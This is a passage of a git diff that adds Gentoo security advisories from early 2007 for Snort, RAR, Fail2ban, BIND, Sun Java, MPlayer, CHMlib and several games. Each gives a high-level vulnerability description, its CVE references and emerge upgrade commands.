+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 23:07:04 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-03.xml b/xml/htdocs/security/en/glsa/glsa-200702-03.xml
new file mode 100644
index 00000000..54706b97
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-03.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-03">
+  <title>Snort: Denial of Service</title>
+  <synopsis>
+    Snort contains a vulnerability in the rule matching algorithm that could
+    result in a Denial of Service.
+  </synopsis>
+  <product type="ebuild">snort</product>
+  <announced>February 13, 2007</announced>
+  <revised>February 13, 2007: 01</revised>
+  <bug>161632</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/snort" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1.2</unaffected>
+      <vulnerable range="lt">2.6.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Snort is a widely deployed intrusion detection program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Randy Smith, Christian Estan and Somesh Jha discovered that the rule
+    matching algorithm of Snort can be exploited in a way known as a
+    "backtracking attack" to perform numerous time-consuming operations.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted network packets, which
+    would result in the cessation of the detections and the consumption of
+    the CPU resources.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Snort users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/snort-2.6.1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6931">CVE-2006-6931</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 19:01:49 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Feb 2007 22:41:30 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 23:29:42 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-04.xml b/xml/htdocs/security/en/glsa/glsa-200702-04.xml
new file mode 100644
index 00000000..b144d9e9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-04.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-04">
+  <title>RAR, UnRAR: Buffer overflow</title>
+  <synopsis>
+    RAR and UnRAR contain a buffer overflow allowing the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">rar, unrar</product>
+  <announced>February 13, 2007</announced>
+  <revised>February 14, 2007: 02</revised>
+  <bug>166440</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/rar" auto="yes" arch="*">
+      <unaffected range="ge">3.7.0_beta1</unaffected>
+      <vulnerable range="lt">3.7.0_beta1</vulnerable>
+    </package>
+    <package name="app-arch/unrar" auto="yes" arch="*">
+      <unaffected range="ge">3.7.3</unaffected>
+      <vulnerable range="lt">3.7.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RAR and UnRAR provide command line interfaces for compressing and
+    decompressing RAR files.
+    </p>
+  </background>
+  <description>
+    <p>
+    RAR and UnRAR contain a boundary error when processing
+    password-protected archives that could result in a stack-based buffer
+    overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    password-protected archive and execute arbitrary code with the rights
+    of the user uncompressing the archive.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All UnRAR users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/unrar-3.7.3&quot;</code>
+    <p>
+    All RAR users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/rar-3.7.0_beta1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0855">CVE-2007-0855</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 Feb 2007 15:25:34 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 23:14:14 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Feb 2007 23:24:39 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-05.xml b/xml/htdocs/security/en/glsa/glsa-200702-05.xml
new file mode 100644
index 00000000..8f600601
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-05">
+  <title>Fail2ban: Denial of Service</title>
+  <synopsis>
+    A flaw in Fail2ban may allow remote attackers to deny access to arbitrary
+    hosts.
+  </synopsis>
+  <product type="ebuild">fail2ban</product>
+  <announced>February 16, 2007</announced>
+  <revised>February 16, 2007: 01</revised>
+  <bug>157166</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/fail2ban" auto="yes" arch="*">
+      <unaffected range="ge">0.6.2</unaffected>
+      <vulnerable range="lt">0.6.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Fail2ban monitors log files for failed authentication attempts and can
+    block hosts responsible for repeated attacks.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw in the method used to parse log entries allows remote,
+    unauthenticated attackers to forge authentication attempts from other
+    hosts.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can add arbitrary hosts to the block list, denying
+    legitimate users access to a resource.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Fail2ban users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/fail2ban-0.6.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6302">CVE-2006-6302</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 Feb 2007 22:35:11 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Feb 2007 22:42:08 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 22:56:35 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-06.xml b/xml/htdocs/security/en/glsa/glsa-200702-06.xml
new file mode 100644
index 00000000..401e6090
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-06.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-06">
+  <title>BIND: Denial of Service</title>
+  <synopsis>
+    ISC BIND contains two vulnerabilities allowing a Denial of Service under
+    certain conditions.
+  </synopsis>
+  <product type="ebuild">bind</product>
+  <announced>February 17, 2007</announced>
+  <revised>February 17, 2007: 01</revised>
+  <bug>163692</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.3.4</unaffected>
+      <unaffected range="rge">9.2.8</unaffected>
+      <vulnerable range="lt">9.3.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unspecified improper usage of an already freed context has been
+    reported. Additionally, an assertion error could be triggered in the
+    DNSSEC validation of some responses to type ANY queries with multiple
+    RRsets.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could crash the server through unspecified vectors
+    or, if DNSSEC validation is enabled, by sending certain crafted ANY
+    queries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for the first issue. The
+    DNSSEC validation Denial of Service can be prevented by disabling
+    DNSSEC validation until the upgrade to a fixed version. Note that
+    DNSSEC validation is disabled on a default configuration.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ISC BIND 9.3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.3.4&quot;</code>
+    <p>
+    All ISC BIND 9.2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.2.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0493">CVE-2007-0493</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0494">CVE-2007-0494</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 16 Feb 2007 09:07:21 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 16 Feb 2007 17:39:52 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 17 Feb 2007 15:53:00 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-07.xml b/xml/htdocs/security/en/glsa/glsa-200702-07.xml
new file mode 100644
index 00000000..83ad751f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-07.xml
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-07">
+  <title>Sun JDK/JRE: Execution of arbitrary code</title>
+  <synopsis>
+    Sun Java Development Kit (JDK) and Java Runtime Environment (JRE) contain a
+    memory corruption flaw that allows the applets to gain elevated privileges
+    potentially leading to the execute of arbitrary code.
+  </synopsis>
+  <product type="ebuild">java</product>
+  <announced>February 17, 2007</announced>
+  <revised>July 16, 2008: 05</revised>
+  <bug>162511</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.10</unaffected>
+      <unaffected range="rge">1.4.2.18</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.4.2.15</unaffected>
+      <unaffected range="rge">1.4.2.14</unaffected>
+      <unaffected range="rge">1.4.2.13</unaffected>
+      <vulnerable range="lt">1.5.0.10</vulnerable>
+      <vulnerable range="lt">1.4.2.13</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.10</unaffected>
+      <unaffected range="rge">1.4.2.18</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.4.2.15</unaffected>
+      <unaffected range="rge">1.4.2.14</unaffected>
+      <unaffected range="rge">1.4.2.13</unaffected>
+      <vulnerable range="lt">1.5.0.10</vulnerable>
+      <vulnerable range="lt">1.4.2.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sun Java Development Kit (JDK) and the Sun Java Runtime Environment
+    (JRE) provide the Sun Java platform.
+    </p>
+  </background>
+  <description>
+    <p>
+    A anonymous researcher discovered that an error in the handling of a
+    GIF image with a zero width field block leads to a memory corruption
+    flaw.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to run a specially crafted Java applet
+    or application that would load a crafted GIF image, which could result
+    in escalation of privileges and unauthorized access to system
+    resources.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun Java Development Kit 1.5 users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.5.0.10&quot;</code>
+    <p>
+    All Sun Java Development Kit 1.4 users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=dev-java/sun-jdk-1.4.2*&quot;</code>
+    <p>
+    All Sun Java Runtime Environment 1.5 users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.5.0.10&quot;</code>
+    <p>
+    All Sun Java Runtime Environment 1.4 users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=dev-java/sun-jre-bin-1.4.2*&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0243">CVE-2007-0243</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 19:27:14 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Feb 2007 23:53:12 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 23:55:24 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-08.xml b/xml/htdocs/security/en/glsa/glsa-200702-08.xml
new file mode 100644
index 00000000..fc5859d8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-08.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-08">
+  <title>AMD64 x86 emulation Sun's J2SE Development Kit: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple unspecified vulnerabilities have been identified in Sun Java
+    Development Kit (JDK) and Sun Java Runtime Environment (JRE).
+  </synopsis>
+  <product type="ebuild">java</product>
+  <announced>February 17, 2007</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>159547</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-java" auto="yes" arch="amd64">
+      <unaffected range="ge">1.5.0.10</unaffected>
+      <unaffected range="rge">1.4.2.19</unaffected>
+      <vulnerable range="lt">1.5.0.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sun Java Development Kit (JDK) and the Sun Java Runtime Environment
+    (JRE) provide the Sun Java platform. The x86 emulation Sun's J2SE
+    Development Kit for AMD64 contains a vulnerable version of Sun's JDK.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans has discovered multiple buffer overflows in Sun JDK and Sun
+    JRE possibly related to various AWT or font layout functions. Tom
+    Hawtin has discovered an unspecified vulnerability in Sun JDK and Sun
+    JRE relating to unintended applet data access. He has also discovered
+    multiple other unspecified vulnerabilities in Sun JDK and Sun JRE
+    allowing unintended Java applet or application resource acquisition.
+    Additionally, a memory corruption error has been found in the handling
+    of GIF images with zero width field blocks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to run a specially crafted Java applet
+    or application that could read, write, or execute local files with the
+    privileges of the user running the JVM, access data maintained in other
+    Java applets, or escalate the privileges of the currently running Java
+    applet or application allowing for unauthorized access to system
+    resources.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AMD64 x86 emulation Sun's J2SE Development Kit users should upgrade
+    to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.5.0.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6731">CVE-2006-6731</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6736">CVE-2006-6736</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6737">CVE-2006-6737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6745">CVE-2006-6745</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0243">CVE-2007-0243</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 Feb 2007 22:34:40 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Feb 2007 22:42:06 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Feb 2007 22:57:40 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-09.xml b/xml/htdocs/security/en/glsa/glsa-200702-09.xml
new file mode 100644
index 00000000..e29d5ab0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-09.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-09">
+  <title>Nexuiz: Multiple vulnerabilities</title>
+  <synopsis>
+    Two separate vulnerabilities have been found in Nexuiz allowing the remote
+    execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">nexuiz</product>
+  <announced>February 25, 2007</announced>
+  <revised>February 25, 2007: 01</revised>
+  <bug>166044</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/nexuiz" auto="yes" arch="*">
+      <unaffected range="ge">2.2.1</unaffected>
+      <vulnerable range="lt">2.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Nexuiz is a multi-player FPS game which uses a modified version of the
+    Quake 1 engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nexuiz fails to correctly validate input within "clientcommands". There
+    is also a failure to correctly handle connection attempts from remote
+    hosts.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Using a specially crafted "clientcommand" a remote attacker can cause a
+    buffer overflow in Nexuiz which could result in the execution of
+    arbitrary code. Additionally, there is a Denial of Service
+    vulnerability in Nexuiz allowing an attacker to cause Nexuiz to crash
+    or to run out of resources by overloading it with specially crafted
+    connection requests.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Nexuiz users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-fps/nexuiz-2.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6609">CVE-2006-6609</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6610">CVE-2006-6610</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 22:20:41 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Feb 2007 23:53:08 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 15 Feb 2007 16:20:20 +0000">
+    hyakuhei
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-10.xml b/xml/htdocs/security/en/glsa/glsa-200702-10.xml
new file mode 100644
index 00000000..fa52ac06
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-10.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-10">
+  <title>UFO2000: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in the network components of
+    UFO2000 that could result in the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ufo2000</product>
+  <announced>February 25, 2007</announced>
+  <revised>February 25, 2007: 01</revised>
+  <bug>142392</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-strategy/ufo2000" auto="yes" arch="*">
+      <unaffected range="ge">0.7.1062</unaffected>
+      <vulnerable range="lt">0.7.1062</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UFO2000 is a multi-player, turn-based tactical simulation.
+    </p>
+  </background>
+  <description>
+    <p>
+    Five vulnerabilities were found: a buffer overflow in recv_add_unit();
+    a problem with improperly trusting user-supplied string information in
+    decode_stringmap(); several issues with array manipulation via various
+    commands during play; an SQL injection in server_protocol.cpp; and
+    finally, a second buffer overflow in recv_map_data().
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could send crafted network traffic as part of a
+    multi-player game that could result in remote code execution on the
+    remote opponent or the server. A remote attacker could also run
+    arbitrary SQL queries against the server account database, and perform
+    a Denial of Service on a remote opponent by causing the game to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    UFO2000 currently depends on the dumb-0.9.2 library, which has been
+    removed from portage due to security problems (GLSA 200608-14) .
+    Because of this, UFO2000 has been masked, and we recommend unmerging
+    the package until the next beta release can remove the dependency on
+    dumb.
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge ufo2000</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3788">CVE-2006-3788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3789">CVE-2006-3789</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3790">CVE-2006-3790</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3791">CVE-2006-3791</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3792">CVE-2006-3792</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200608-14.xml">GLSA 200608-14</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 19:42:06 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 14 Feb 2007 03:39:23 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 19 Feb 2007 21:24:04 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-11.xml b/xml/htdocs/security/en/glsa/glsa-200702-11.xml
new file mode 100644
index 00000000..d6ea4e34
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-11.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-11">
+  <title>MPlayer: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow was found in MPlayer's RTSP plugin that could lead to a
+    Denial of Service or arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">MPlayer</product>
+  <announced>February 27, 2007</announced>
+  <revised>February 27, 2007: 01</revised>
+  <bug>159727</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_rc1-r2</unaffected>
+      <vulnerable range="lt">1.0_rc1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player capable of playing multiple media formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    When checking for matching asm rules in the asmrp.c code, the results
+    are stored in a fixed-size array without boundary checks which may
+    allow a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can entice a user to connect to a manipulated RTSP server
+    resulting in a Denial of Service and possibly execution of arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_rc1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mplayerhq.hu/design7/news.html#vuln14">Original Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6172">CVE-2006-6172</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 Feb 2007 12:10:45 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Feb 2007 11:54:03 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Feb 2007 12:06:52 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200702-12.xml b/xml/htdocs/security/en/glsa/glsa-200702-12.xml
new file mode 100644
index 00000000..604aa882
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200702-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200702-12">
+  <title>CHMlib: User-assisted remote execution of arbitrary code</title>
+  <synopsis>
+    A memory corruption vulnerability in CHMlib could lead to the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">CHMlib</product>
+  <announced>February 27, 2007</announced>
+  <revised>May 20, 2008: 02</revised>
+  <bug>163989</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/chmlib" auto="yes" arch="*">
+      <unaffected range="ge">0.39</unaffected>
+      <vulnerable range="lt">0.39</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CHMlib is a library for the MS CHM (Compressed HTML) file format plus
+    extracting and HTTP server utils.
+    </p>
+  </background>
+  <description>
+    <p>
+    When certain CHM files that contain tables and objects stored in pages
+    are parsed by CHMlib, an unsanitized value is passed to the alloca()
+    function resulting in a shift of the stack pointer to arbitrary memory
+    locations.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted CHM file,
+    resulting in the execution of arbitrary code with the permissions of
+    the user viewing the file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CHMlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/chmlib-0.39&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=468">Original Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0619">CVE-2007-0619</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 21:22:08 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Feb 2007 23:53:10 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Feb 2007 11:35:38 +0000">
+    daxomatic
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-01.xml b/xml/htdocs/security/en/glsa/glsa-200703-01.xml
new file mode 100644
index 00000000..14def5e7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-01.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-01">
+  <title>Snort: Remote execution of arbitrary code</title>
+  <synopsis>
